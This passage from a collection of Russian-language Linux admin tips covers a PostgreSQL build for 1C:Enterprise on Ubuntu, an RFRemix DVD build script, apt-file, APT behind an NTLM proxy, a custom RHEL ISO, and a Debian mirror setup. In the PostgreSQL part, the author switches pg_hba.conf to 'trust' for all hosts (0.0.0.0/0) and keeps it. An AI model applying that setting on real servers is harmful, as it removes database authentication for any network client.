    надо добавить:
    
      usr/lib/postgresql/8.4/lib/mchar.so
      usr/lib/postgresql/8.4/lib/fulleq.so
      usr/lib/postgresql/8.4/lib/fasttrun.so
    
    На этом операцию по адаптации можно считать законченной. У нас получился
    правильно "патченный", родной для операционной системы исходник. Аналогично
    можно подготовить версию для любой debian-совместимой ОС.
    
    К сожалению, исправления трех файлов (кроме последнего) нельзя сделать через
    patch-файл в автоматическом режиме. Патчи применяются уже после того, как
    скачиваются зависимости и определяется имя пакета.
    
    Готовые патчи и исправленные файлы можно взять также на нашем ftp-сайте
    ftp://ftp.ailant.com.ru/pub/soft/postgresql-8.4.4-1C-ubuntu/ . Там же в
    каталоге bin лежит собранный пакет PostgreSQL для Ubuntu 10.04 (x86_64). Это
    если кому не хочется самостоятельно собирать.
    
    Компиляция может пройти двумя способами. Оба несложных. В первом случае идем "в
    лоб" и компилируем в рабочей системе, но куча зависимостей будет загружена, что
    не есть хорошо, для "продакш"-системы. Поэтому воспользуемся пакетом
    "pbuilder". В этом случае компиляция будет проходить в специально созданном
    chroot-окружении, и все изменения будут проходить в нем, не трогая рабочую
    систему. Более подробно об этом можно почитать в https://wiki.ubuntu.com/PbuilderHowto
    
       apt-get install pbuilder cdbs
    
    Все, что ему необходимо, он сам вытянет по зависимостям. Второй пакет необходим
    для компиляции. Далее:
    
       pbuilder create
    
    Создаем специальное окружение для компиляции. В этот момент много скачивается
    из репозиториев. У меня с первого раза почему-то не сработало, был сбой и
    pbuilder закончил работу с ошибкой. Я не стал разбираться отчего это произошло,
    просто повторно выполнил команду создания.
    
    В дальнейшем рекомендуется перед сборкой давать команду:
    
       pbuilder update
    
    для обновления окружения новыми пакетами.
    
    Переходим в каталог исходников и
    
       pdebuild
    
    Сборка началась. В первый раз по зависимостям будет вытянуто около 500
    мегабайт, надо быть к этому готовым. Либо собирать на unlim-канале (дома,
    например). В дальнейшем пакеты кешируются. У нас используется пакет apt-proxy,
    который также умеет это делать. Для предприятий, где работает не один сервер,
    очень рекомендую.
    
    Сборка проходит ровно и спокойно. По окончанию в каталоге
    "/var/cache/pbuilder/result" будут лежать собранные пакеты.
    
    Продолжаем. Необходимо установить несколько пакетов для поддержки работы PostgreSQL:
    
      apt-get install postgresql-common postgresql-client-common libicu42 libossp-uuid16
    
    Затем, собственно, ставим свежесобранный PostgreSQL:
    
      dpkg -i libpq5_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i libpgtypes3_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-client-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
      dpkg -i postgresql-contrib-8.4_18.4.4-ailant-0ubuntu10.04_amd64.deb
    
    Остальные пакеты не нужны для работы "1С:Предприятия 8". В этот момент сервер
    СУБД будет запущен, также будет проведена первичная инициализация базы данных.
    Осталось сделать несколько штрихов.
    Проверим, чтобы PostgreSQL всегда запускался после перезагрузки:
    
      update-rc.d postgresql-8.4 defaults
    
    Сделаем два симлинка, без которых "1С:Предприятие" не сможет работать с СУБД:
    
       ln -s /usr/lib/locale/en_US.utf8 /usr/lib/locale/en_US
       ln -s /usr/share/locale/en /usr/share/locale/en_US
    
    Временно (правда, у меня осталось на постоянно) исправим правила доступа к
    СУБД. В конфигурационном файле "/etc/postgresql/8.4/main/pg_hba.conf" исправим
    в строке "host all all 0.0.0.0/0" md5 на trust. На момент начальной отладки так
    гораздо проще, в дальнейшем (после запуска всей системы) выбирайте сами уровень
    собственной защиты.
    
    Все PostgreSQL собран и запущен. Устанавливаем "1С:Предприятие". Так как в
    настоящее время версия 8.2 является основной, то начнем с нее. После установим
    версию 8.1 для поддержки старых конфигураций (которые еще не перевели на новую платформу).
    
    Переписываем с диска ИТС (скачиваем с сайта 1С) последнюю версию (на момент
    написания статьи это 8.2.11.229) для архитектуры debian x86_64 (ведь именно
    этот сервер мы ставили). Копируем на нашем сервере в папку "1С" в
    домашней директории. Последовательно запускаем:
    
       dpkg -i 1c-enterprise82-common_8.2.11-229_amd64.deb
       dpkg -i 1c-enterprise82-server_8.2.11-229_amd64.deb
    
    В принципе, достаточно. Пакеты "-nls" - это языковая поддержка. Нам она не
    нужна, русский язык есть в основной поставке. Пакет "-ws" - это веб-сервисы.
    Если нужны, то поставьте. Мне пока без надобности.
    После инсталляции надо проверить наличие пользователя user1cv82 в файле
    /etc/passwd и его домашнего каталога в /home. Именно в нем и будут храниться
    специфические параметры запуска сервера. Дальше необходимо доставить несколько пакетов:
    
       apt-get install imagemagick msttfcorefonts libgsf-1-114 texlive-binaries 
    
    Проверяем все ли библиотеки установлены:
    
       /opt/1c/v8.2/x86_64/utils/config_server
    
    Утилита должна отработать без сообщений. Если написала, что что-то не
    установлено, надо доставить. Обычно она указывает не на название пакетов, а на
    недостающие файлы. Узнать в каком они пакете можно через "apt-file search".
    
    Делаем возможность запуска после перезагрузки и запускаем:
    
       update-rc.d srv1cv82 defaults
       invoke-rc.d srv1cv82 start
    
    Должно быть "ОК". Если нет, то скорее всего необходимые порты уже заняты. Надо
    проверить чем. Дальше проверяем, что все процессы запущены нормально:
    
       ps aux | grep 1c
    
    От имени пользователя "usr1cv82" должно быть запущено три процесса: ragent,
    rmngr и rphost. После имен процессов идут номера портов, на которых они
    работают. Если процесса не три, а один (такое почему-то иногда бывает, но
    только при первоначальном запуске), то делаем:
    
       invoke-rc.d srv1cv82 stop
    
    Удаляем каталог ".1cv82" в домашней директории пользователя usr1cv82. И
    перезапускаем сервер заново. Должно стать все нормально.
    Аналогично устанавливаем и сервер "1С:Предприятия 8.1". Но с небольшими
    изменениями. Во-первых, из-за ошибки скрипта домашний каталог пользователя
    "usr1cv81" будет установлен неверно, необходимо исправить его, отредактировав
    "/etc/passwd" и исправив путь на "/home/usr1cv81", по аналогии с пользователем
    "usr1cv82". Затем создать собственно сам каталог в директории "home" и
    установить на него владельца "usr1cv81" и группу "grp1cv81". Во-вторых,
    необходимо исправить порты, на которых будет работать сервер. Редактируем
    "/etc/init.d/srv1cv81", убирая комментарии со строк и добавляя номера:
    
       SRV1CV8_PORT=11540
       SRV1CV8_REGPORT=11541
       SRV1CV8_RANGE=11560:11691
    
    т. е. мы использовали порты на 10000 больше, чем порты по умолчанию. Дальше
    запускаем сервер, проверяем, если надо удаляем директорию ".1cv81" в домашнем
    каталоге пользователя usr1cv81.
    
    Потом тестовая перезагрузка. Готово. На выделенном сервере работает
    самостоятельно собранная версия PostgreSQL, а также два сервера
    "1С:Предприятия" версий 8.1 и 8.2.
    
    Работоспособность проверяется с любой windows-машины, подключением консоли
    серверов "1С:Предприятия" к нашему серверу на заданный порт (1540 или 11540).
    
    Кстати, при использовании в конфигурациях "1С:Предприятия 8" управляемых
    блокировок, скорость работы СУБД PostgreSQL в ряде случаев бывает даже выше,
    чем у MS SQL (под которую изначально и был заточен 1С). Но это все относится к
    правильной оптимизации запросов, которые в версии 8.2 можно очень гибко настраивать.
    
    И последнее. Несмотря на то, что сейчас все наши сервера работают под Ubuntu,
    раньше использовалась Fedora. Пример сборки для нее (и похожих дистрибутивов)
    есть в каталоге ftp://ftp.ailant.com.ru/pub/soft/postgresql-8.3.7-1C-fedora/ .
    Там лежит как пример готовый spec-файл для сборки. Собирается все через mock (http://fedoraproject.org/wiki/Projects/Mock).
    
    Дополнение: Компилировать PostgreSQL необходимо с ключом
    "--disable-integer-datetimes", иначе при загрузке данных в СУБД через
    1С:Предприятие 8 может вылететь ошибка про timestamp. Плюс вышло обновление
    патча 0.19.3 от 1С с небольшим инзменением,вместо (строка 2118):
        +LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    используется
        +LANGUAGE C RETURNS NULL ON NULL INPUT VOLATILE;
    
     
    ----* Автоматизированная сборка загрузочного DVD из CD-образов Russian Fedora 13   Автор: Igor  [комментарии]
     
    Ниже представлен вариант автоматизированной сборки DVD из CD-образов Russian
    Remix Fedora (RFRemix). Тестировалось под OS RFRemix 11 и RFRemix 12.
    
    Изложенные в инструкции действия следует выполнять под пользователем root.
    Создаем каталог куда копируем 6-ть образов CD (закачены с yandex):
    
       RFRemix-13-i386-disc1.iso
       RFRemix-13-i386-disc2.iso
       RFRemix-13-i386-disc3.iso
       RFRemix-13-i386-disc4.iso
       RFRemix-13-i386-disc5.iso
       RFRemix-13-i386-disc6.iso
    
    В каталоге создаем bash-скрипт MakeDVD.sh со следующим содержимым:
    
       #!/bin/bash
       #Script create DVD ISO-image from CD ISO-images for Fedora 13
    
       RFREMIX13_MEDIA_ID="1274745691.442497"
       MAX_DISC_NUM=6
       RFREMIX_DISC_NAME="RFRemix-13-i386-disc"
       COMPS_FILE="RFRemix-13-comps.xml"
       RPM_DIR="Packages"
       DVD_LABEL="RFRemix 13"
    
       RFRENIX_VER11=`((cat /etc/system-release) | awk '{  if(match($0,"11")!=0) print "11" }')`
       RFRENIX_VER12=`((cat /etc/system-release) | awk '{ if(match($0,"12")!=0) print "12" }')`
    
       CURDIR="$(pwd)"
       COMPSFILE=$CURDIR"/srcdvd/repodata/"$COMPS_FILE
       SRCDVDDIR="$CURDIR""/srcdvd"
       DVDISOFILE="$CURDIR""/dvd-iso/RFRemix-13-i386-DVD.iso"
    
       cleandata()
       {
       echo
       echo 'Cleaning temporary data...'
       echo
    
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do 
           if [ -a ./mnt/disc$i ]; then
       	  umount -f ./mnt/disc$i ; 
           fi
       done
    
       rm -f -R ./mnt
       rm -f -R ./srcdvd
       }
    
       echo
       echo 'Create directories...'
       echo
    
       cleandata
       rm -f -R ./dvd-iso
    
       mkdir ./srcdvd
       mkdir ./dvd-iso
       mkdir ./mnt
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do mkdir ./mnt/disc$i ; done
    
       echo
       echo 'Mount a CD ISO-image...'
       echo
    
       for ((i=1;i<=$MAX_DISC_NUM;i++)) ; do mount -t iso9660  ./$RFREMIX_DISC_NAME$i.iso ./mnt/disc$i -o loop ; done
    
       echo
       echo 'Data preparation...'
       echo
    
       echo 'Copying packages from disc 1...'
       cp -f -R ./mnt/disc1/* ./srcdvd
       cp -f ./mnt/disc1/.discinfo ./srcdvd
    
       rm -f ./srcdvd/repodata/*
       cp ./mnt/disc1/repodata/*-comps.xml ./srcdvd/repodata/$COMPS_FILE
       rm -f `(find ./srcdvd/*.TBL ./srcdvd/ | grep .TBL)`
    
       for ((i=2;i<=$MAX_DISC_NUM;i++)) ; do
           echo 'Copying packages from disc '$i'...';
           cp ./mnt/disc$i/$RPM_DIR/* ./srcdvd/$RPM_DIR;
       done
    
       if [ "v"$RFRENIX_VER12 == "v12" ] && [ ! -e /usr/lib/python2.6/site-packages/createrepo/createrepo_rfremix12.patch ]; then
          echo
          echo 'Patching utility createrepo...'
          echo
    
          cp -f ./createrepo_rfremix12.patch /usr/lib/python2.6/site-packages/createrepo
          cp /usr/lib/python2.6/site-packages/createrepo/__init__.py /usr/lib/python2.6/site-packages/createrepo/__init__OLD.py
          patch -i /usr/lib/python2.6/site-packages/createrepo/createrepo_rfremix12.patch /usr/lib/python2.6/site-packages/createrepo/__init__.py
       fi
    
       if [ "v"$RFRENIX_VER11 == "v11" ] && [ ! -e /usr/lib/python2.6/site-packages/createrepo/createrepo.patch ]; then
          echo
          echo 'Patching utility createrepo...'
          echo
    
          cp -f ./createrepo.patch /usr/lib/python2.6/site-packages/createrepo
          cp /usr/lib/python2.6/site-packages/createrepo/__init__.py /usr/lib/python2.6/site-packages/createrepo/__init__OLD.py
          patch -i /usr/lib/python2.6/site-packages/createrepo/createrepo.patch /usr/lib/python2.6/site-packages/createrepo/__init__.py
        fi
    
       echo
       echo 'Creation of information repositories...'
       echo
    
       createrepo -g "$COMPSFILE" --baseurl "media://"$RFREMIX13_MEDIA_ID -d -o "$SRCDVDDIR" "$SRCDVDDIR"
    
       echo
       echo 'Checksum repodata/repomd.xml...'
       echo
    
       SHA256REPO=`(sha256sum ./srcdvd/repodata/repomd.xml) | awk '{ print $1 }'`
       REPOINFO="repodata/repomd.xml = sha256:""$SHA256REPO"
       (cat ./mnt/disc1/.treeinfo) | awk '{ if(match($0,"repodata")==0) print; else print "'"$REPOINFO"'" }' > ./srcdvd/.treeinfo
    
       echo
       echo 'Creating a bootable DVD ISO-image...'
       echo
    
       mkisofs -r -T -joliet-long -V "$DVD_LABEL" -b isolinux/isolinux.bin -c isolinux/boot.cat \
          -no-emul-boot -boot-load-size 4 -boot-info-table -o  "$DVDISOFILE" "$SRCDVDDIR" 2> ./make_iso.log
    
       cleandata
    
       ls -l ./dvd-iso
    
       echo
       echo 'Create DVD ISO completed!'
       echo
    
    
    В каталоге размещаем два patch-файла для createrepo 
    (пакет должен быть установлен). Патчи необходимы, иначе
    мы получим пропуск некоторых rpm-пакетов.
    
    Файл createrepo.patch (для RFRemix 11):
    
       *** ./__init__.py	2010-05-29 22:51:15.000000000 +0300
       --- ./__init__update.py	2010-05-30 07:26:02.000000000 +0300
       ***************
       *** 72,78 ****
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 100000000
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       --- 72,78 ----
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 1000000000L
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       ***************
       *** 588,594 ****
              """
              
              # duck and cover if the pkg.size is > whatever
       !      if int(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       --- 588,594 ----
              """
              
              # duck and cover if the pkg.size is > whatever
       !      if long(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       ***************
       *** 638,644 ****
              for d in self.conf.oldpackage_paths:
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
       !              if int(os.stat(fp)[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
       --- 638,644 ----
              for d in self.conf.oldpackage_paths:
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
       !              if long(os.stat(fp)[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
    
    
    Файл createrepo_rfremix12.patch (для RFRemix 12):
    
    
       *** ./__init__.py	2010-05-30 09:28:40.000000000 +0300
       --- ./__init__update_f12.py	2010-05-30 09:38:01.000000000 +0300
       ***************
       *** 74,80 ****
              self.oldpackage_paths = [] # where to look for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 100000000
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       --- 74,80 ----
              self.oldpackage_paths = [] # where to alook for the old packages - 
              self.deltafile = 'prestodelta.xml.gz'
              self.num_deltas = 1 # number of older versions to delta (max)
       !      self.max_delta_rpm_size = 1000000000L
              self.update_md_path = None 
              self.skip_stat = False
              self.database = False
       ***************
       *** 613,619 ****
              """
              drpm_pkg_time = time.time()
              # duck and cover if the pkg.size is > whatever
       !      if int(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       --- 613,619 ----
              """
              drpm_pkg_time = time.time()
              # duck and cover if the pkg.size is > whatever
       !      if long(pkg.size) > self.conf.max_delta_rpm_size:
                  if not self.conf.quiet: 
                      self.callback.log("Skipping %s package " \
                                          "that is > max_delta_rpm_size"  % pkg)
       ***************
       *** 671,677 ****
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
                      fpstat = os.stat(fp)
       !              if int(fpstat[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
       --- 671,677 ----
                  for f in self.getFileList(d, 'rpm'):
                      fp = d + '/' + f
                      fpstat = os.stat(fp)
       !              if long(fpstat[stat.ST_SIZE]) > self.conf.max_delta_rpm_size:
                          self.callback.log("Skipping %s package " \
                                            "that is > max_delta_rpm_size"  % f)
                          continue
    
    
    Установить атрибут MakeDVD.sh на выполнение.
    Запустить файл MakeDVD.sh.
    В каталоге dvd-iso получим DVD ISO-образ Russian Remix Fedora 13.
    Исходники скрипта и патчей.
    
     
    ----* Анализ содержимого DEB-пакетов (доп. ссылка 1)   [комментарии]
     
    Наиболее простым способом просмотра содержимого как установленного, так и не
    установленного, DEB-пакета является использование утилиты apt-file.
    
    Устанавливаем:
    
       sudo apt-get install apt-file
       sudo apt-file update
    
    Выводим список файлов для любого установленного пакета или пакета из
    репозитория, в отличие от "dpkg -L" установка пакета для его анализа не
    обязательна, выборка производится на основе сохраненных индексов:
    
       apt-file list имя_пакета
    
    например:
    
       apt-file list wget
    
    Ищем в состав какого пакета входит заданный файл:
    
       apt-file search /usr/bin/ldd
       apt-file search libUil.so
    
    точное соответствие (-x - использовать perl-совместимые регулярные выражения):
    
       apt-file -x search '^/bin/ls$'
    
    или используем более замысловатую выборку по маске
    
       apt-file search "/(usr/bin/vim|sbin/lvm)" 
    
    для просмотра содержимого локально скопированного пакета, отсутствующего в
    репозитории, можно использовать команду:
    
       dpkg-deb -c file.deb
    
     
    ----* Организация работы APT через NTLM-proxy   Автор: deathmokar  [комментарии]
     
    APT (aptitude, apt-get) не проходит в интернет напрямую через MS ISA (proxy).
    Проблема в NTLM авторизации от MS. В сети можно найти описание решения
    (http://michaelcarden.net/blog/index.php?p=58) через задействование локального
    прокси-сервера ntlmaps, но работать этот метод отказался.
    
    Решение нашлось на сайте http://cntlm.sourceforge.net/
    Конфигурационный файл данного прокси крайне прост (/etc/cntlm.conf):
     
       Username - имя пользователя для ISA
       Domain - имя MS-домена
       Password - пароль
       Proxy - сервер ISA (ip или имя) и его порт (8080)
    
    Остальное не трогал.
    
    Например:
    
        Username myname
        Domain MYDOMAIN
        Password mypass
        #Workstation - не понадобилось
        Proxy proxy.mynet.com:8080
    
    После правки перезапускаем прокси:
    
        /etc/init.d/cntlm restart
    
    Сам APT направляем на него так:
    
        touch /etc/apt/apt.config.d/proxy
    
    В любом редакторе правим файл до состояния:
    
      Acquire::http::Proxy "http://127.0.0.1:3128/";
      Acquire::ftp::Proxy "ftp://127.0.0.1
    
     
    ----* Как сформировать установочный iso-образ RHEL заданным набором пакетов (доп. ссылка 1)   [комментарии]
     
    Инструкция по подготовке загрузочного ISO собственной комплектации на базе RHEL
    5.x или CentOS 5.x. Создаваемый диск будет содержать только набор пакетов,
    установленных в текущей системе.
    
    1. Загружаем iso-образ загрузочного DVD и сохраняем их в /tmp
    
    2. Создаем базовую директорию
    
       mkdir -p /build/rhel52
    
    3. Монтируем ISO
    
       mount -oloop /tmp/rhel-5-server-x86_64-dvd.iso /mnt
    
    4. Копируем файлы с DVD в директорию /build/rhel52
    
       rsync -rv /mnt/* /build/rhel52
       cp /mnt/.discinfo /build/rhel52
       cp /mnt/.treeinfo /build/rhel52
    
    5. На текущей системе, содержание которой нам необходимо повторить в
    создаваемом ISO, генерируем список пакетов:
    
       rpm -qa --queryformat '%{name},%{version}-%{release},%{arch}\n' | sort -n > /tmp/rhel5.2-rpm
    
    6. Добавляем окончание .rpm к элементам сформированного списка:
    
       cat /tmp/rhel5.2-rpm | sed 's/$/.rpm/g' > /build/rhel52/rhel52-list
    
    7. Создаем список RPM, находящихся на примонтированном DVD:
    
       ls -1 /build/rhel52/Server > /build/rhel52/rhel52-all
    
    8. Генерируем список пакетов, которые нам не нужны:
    
       diff -uNr /build/rhel52/rhel52-list /build/rhel52/rhel52-all | grep ^+ > /build/rhel52/remove-list
    
    9. Удаляем первые три строки из файла rhel52-all (удаляем первую строку и файлы
    TRANS.TBL и repodata):
    
       vi /build/rhel52-all
    
    10. Создаем скрипт для удаления ненужных файлов
    
       #!/bin/ksh
       #uncomment the next line for troubleshooting
       #set -x
       LINES=`cat remove-list | wc -l`
       LINE_NO=1
       while [ $LINE_NO -le $LINES ]
       do
       BADFILE=`sed -n "${LINE_NO}p" remove-list`
       rm -f /build/rhel52/Server/$BADFILE
       LINE_NO=`expr $LINE_NO + 1 `
       done
    
    11. Обновляем индексные файлы на DVD, учтя удаленные пакеты:
    
       createrepo -g /build/rhel52/Server/repodata/comps-rhel5-server-core.xml /build/rhel52/Server
    
    12. Создаем директорию для дополнительных пакетов, которые нам хочется
    сохранить на установочном носителе:
    
       mkdir /build/rhel52/addons
    
    15. Копируем дополнительные пакеты:
    
       cp /pathtofiles/addons/* /build/rhel52/addons/
    
    13. Копируем типовой kickstart-файл из текущей системы:
    
       cp kickstart_file /build/rhel52
    
    14. Заменяем если в kickstart-файле "--url http://" на "cdrom"
    
    После секции %post добавляем:
    
       %post --nochroot
       mount /tmp/cdrom /mnt/sysimage/mnt
    
    Заменяем "/bin/rpm -Uhv http://" на "/bin/rpm -Uhv /mnt/addons/", чтобы ставить
    файлы не из web, а их локальной директории addons. Также заменяем все
    упоминания wget на директорию addons.
    
    15. Для удобства установки в  /build/rhel52/isolinux/boot.msg добавляем
    подсказку по вызову kickstart-конфигурации "ks=cdrom:/rhel52.ks.cfg"
    
    16. Создаем загрузочный ISO:
    
       mkisofs -r -T -J -V "RHEL52 DVD" -b isolinux/isolinux.bin -c isolinux/boot.cat \
          -no-emul-boot -boot-load-size 4 -boot-info-table -o /tmp/rhel52.iso /build/rhel52
    
     
    ----* Создание локального зеркала Debian (apt-mirror + ProFTPd + Apache2)   Автор: Yuri Rybnikov  [комментарии]
     
    Введение: Нужно было сделать зеркало Debian в локальной сети университета. Под
    эти нужны была создана виртуальная машина и установлен "голый" Debian.
    IP адрес достался по-наследству от старого зеркала: 192.168.1.200.
    Были поставленыVMware Tools. И всё сконфигурировано для работы.
    
    Далее пойдем по порядку.
    
    В нашем университете используется прокси-сервер,
    и чтобы установить его по умолчанию в файл конфигурации окружения /etc/profile
    необходимо внести изменения, а именно добавить:
    
       export http_proxy=http://192.168.251.1:8080/
       export ftp_proxy=ftp://192.168.251.1:8080/
    
    Ставим пакет, который будет выполнять зеркалирование apt-mirror:
    
       apt-get install apt-mirror
    
    Дальше нам надо определиться с файлом конфигурации зеркала. Что будет зеркалироваться и откуда.
    Так как через университетский прокси доступно быстрое зеркало http://ftp.mgts.by/debian
    
    Правим /etc/apt/mirrors.list:
    
       # apt-mirror configuration file
       ##
       ## The default configuration options (uncomment and change to override)
       ##
       #
    
       set base_path /var/spool/apt-mirror
       set mirror_path $base_path/mirror
       set skel_path $base_path/skel
       set var_path $base_path/var
       #set defaultarch i386
       set nthreads 20
       set _tilde 0
    
       # etch's section
       #deb http://ftp.mgts.by/debian etch main contrib non-free
    
       # lenny's section
       deb http://ftp.mgts.by/debian lenny main contrib non-free
    
       # squeeze's section
       deb http://ftp.mgts.by/debian squeeze main contrib non-free
    
    
       # sid's section
       deb http://ftp.mgts.by/debian sid main contrib non-free
    
       ##
       ## Cleaner configuration example
       ##
    
       set cleanscript $var_path/clean.sh
    
       # Cleaning section
    
       clean http://ftp.mgts.by/
    
       skip-clean http://ftp.mgts.by/debian/doc/
     
    
    Что бы не было ошибки при выполнении /var/spool/apt-mirror/var/clean.sh надо
    пропатчить /usr/bin/apt-mirror
    
    Содержание файла apt-mirror.patch:
    
       --- /usr/bin/apt-mirror 2007-12-02 11:22:02.000000000 +0100
       +++ apt-mirror-patched 2008-06-15 11:28:47.000000000 +0200
       @@ -518,14 +518,14 @@
       my $dir = shift;
       my $is_needed = 0;
       return 1 if $skipclean{$dir};
       - opendir(DIR, $dir) or die "apt-mirror: can't opendir $dir: $!";
       - foreach (grep { !/^\.$/ && !/^\.\.$/ } readdir(DIR)) {
       + opendir(my $dir_h, $dir) or die "apt-mirror: can't opendir $dir: $!";
       + foreach (grep { !/^\.$/ && !/^\.\.$/ } readdir($dir_h)) {
       my $item = $dir . "/". $_;
       $is_needed |= process_directory($item) if -d $item && ! -l $item;
       $is_needed |= process_file($item) if -f $item;
       $is_needed |= process_symlink($item) if -l $item;
       }
       - closedir DIR;
       + closedir $dir_h;
       push @rm_dirs, $dir unless $is_needed;
       return $is_needed;
       }
    
    Патчим:
    
       cat apt-mirror.patch | patch -p1
    
    Логинимся под пользователем apt-mirror:
    
       su - apt-mirror
    
    Запускаем программу зеркалирования:
    
       apt-mirror
    
    Идем пить чай.
    
    Оговорюсь, в зависимости от количества дистрибутивов выбранных для
    зеркалирования и каталогов для зеркалирования объем скачанной информации может
    быть очень большой.
    
    Поэтому запаситесь терпением и работайте в screen'е :)
    Должны быть всякие сообщения о том что всё ок. А при ошибке надо гуглить и исправлять.
    
    После окончания успешного зеркалирования выполняем /var/spool/apt-mirror/var/clean.sh:
    
       # /bin/bash /var/spool/apt-mirror/var/clean.sh
    
    Чистим от "шлаков". И освобождаются Гигабайты пространства.
    
    Настраиваем автоматизацию по планировщику. Правим планировщик для проверки
    зеркала каждый день в час ночи и очистки от "мусора" в четыре утра.
    
    В /etc/cron.d/apt-mirror добавляем: 
    
       #
       # Regular cron jobs for the apt-mirror package
       #
       0 1 * * * apt-mirror /usr/bin/apt-mirror > /var/spool/apt-mirror/var/cron.log
       0 4 * * * root /bin/bash /var/spool/apt-mirror/var/clean.sh > /var/spool/apt-mirror/var/cron_cl.log
       #
    
    Ставим apache2 для доступа по HTTP к зеркалу:
    
       apt-get install apache2
    
    Делаем доступ к зеркалу через HTTP, для этого создаем симлинк:
    
       ln -s /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /var/www/debian
    
    Далее делаем, как и положено, ссылку на stable дистрибутив:
    
       cd /var/spool/apt-mirror/mirror/ftp.mgts.by/debian/dists
       ln -s lenny/ stable
    
    Дальше надо сделать доступ по FTP к зеркалу с помощью сервера ProFTPd:
    
       apt-get install proftpd
    
    Конфигурируем его. Правим /etc/proftpd/proftpd.conf под наши нужды:
    
       Include /etc/proftpd/modules.conf
    
       UseIPv6 off
       IdentLookups off
    
       ServerName "Debian mirror"
       ServerType standalone
       DeferWelcome off
    
       MultilineRFC2228 on
       DefaultServer on
       ShowSymlinks on
    
       TimeoutNoTransfer 600
       TimeoutStalled 600
       TimeoutIdle 1200
    
       DisplayLogin welcome.msg
       DisplayChdir .message true
       ListOptions "-l"
    
       DenyFilter \*.*/
    
       RequireValidShell off
    
       # Port 21 is the standard FTP port.
       Port 21
    
       MaxInstances 30
    
       User proftpd
       Group nogroup
       Umask 022 022
    
       AllowOverwrite on
    
       TransferLog /var/log/proftpd/xferlog
       SystemLog /var/log/proftpd/proftpd.log
    
    
       User ftp
       Group nogroup
       UserAlias anonymous ftp
       DirFakeUser on ftp
       DirFakeGroup on ftp
       # Пускать пользователей с шелом /bin/false и прочей невалидной ерундой
       RequireValidShell off
       MaxClients 100
    
    
    Так как ProFTPd не понимает симлинки за пределы текущего FTP-дерева, то сделаем хитрый mount:
    
       mkdir /home/ftp/debian
       mount --bind /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /home/ftp/debian
    
    Чтобы не пропадал mount после перезагрузки в /etc/fstab вносим изменения,
    добавляем в конец строчку:
    
       /var/spool/apt-mirror/mirror/ftp.mgts.by/debian /home/ftp/debian none bind
    
    Всё. Готово. Для уверенности можем перезагрузить сервер и понять, что всё будет работать :)
    
    Ссылки:
    
    * http://apt-mirror.sourceforge.net - apt-mirror (apt sources mirroring tool)
    * http://www.howtoforge.com/local_debian_ubuntu_mirror - How To Create A Local
    Debian/Ubuntu Mirror With apt-mirror
    * http://www.linuxnsk.ru/index.php?option=com_content&task=view&id=171&Itemid=1
    - Как создать локальное зеркало Debian/Ubuntu используя apt-mirror (перевод)
    *
    http://wiki.binarylife.ru/index.php/Apt-get_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%BF%D1%80%D0%BE%D0%BA%D1%81%D0%B8 -
     Apt-get через прокси
    * http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=484876 - apt-mirror: many closedir() errors
    * http://itblog.su/proftpd-vs-symlinks.html - proftpd vs symlinks
    * http://sudouser.com/nastrojka-cron - Настройка Cron
    
     
    ----* Упрощение тестирования экспериментальных версий Ubuntu при помощи TestDrive (доп. ссылка 1)   [обсудить]
     
    Для желающих регулярно следить за процессом разработки Ubuntu ежедневно
    публикуются тестовые сборки, позволяющие наглядно оценить прогресс в развитии
    дистрибутива. Для автоматизации выполнения рутинных операций по загрузке и
    запуску таких сборок под управлением систем виртуализации подготовлена удобная
    утилита testdrive (http://edge.launchpad.net/testdrive).
    
    Утилита testdrive работает в режиме командной строки и после запуска дает
    возможность выбрать тип тестируемой сборки (десктоп, сервер, версия для
    нетбуков и т.п.). Если ранее при помощи программы уже осуществлялась загрузка
    тестовых образов, то по сети будут переданы только изменившиеся в новом
    iso-образе данные, что позволяет ускорить загрузку и сэкономить трафик.
    
    После загрузки iso-образ автоматически конфигурируется для запуска под
    управлением систем виртуализации KVM или VirtualBox.
    
    Установить программу можно из PPA-репозитория https://edge.launchpad.net/~testdrive/+archive/ppa
    
       sudo add-apt-repository ppa:testdrive/ppa 
       sudo apt-get update 
       sudo apt-get install testdrive
    
     
